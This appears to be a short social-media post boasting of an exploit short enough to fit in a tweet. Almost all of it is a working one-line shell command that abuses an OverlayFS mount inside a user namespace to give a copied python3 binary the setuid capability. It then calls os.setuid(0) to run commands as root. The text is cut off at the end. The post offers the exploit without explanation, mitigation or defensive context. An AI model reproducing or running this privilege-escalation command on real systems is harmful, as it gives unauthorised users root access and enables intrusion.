Exploit is so easy it fits in a tweet🔥
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("id")'…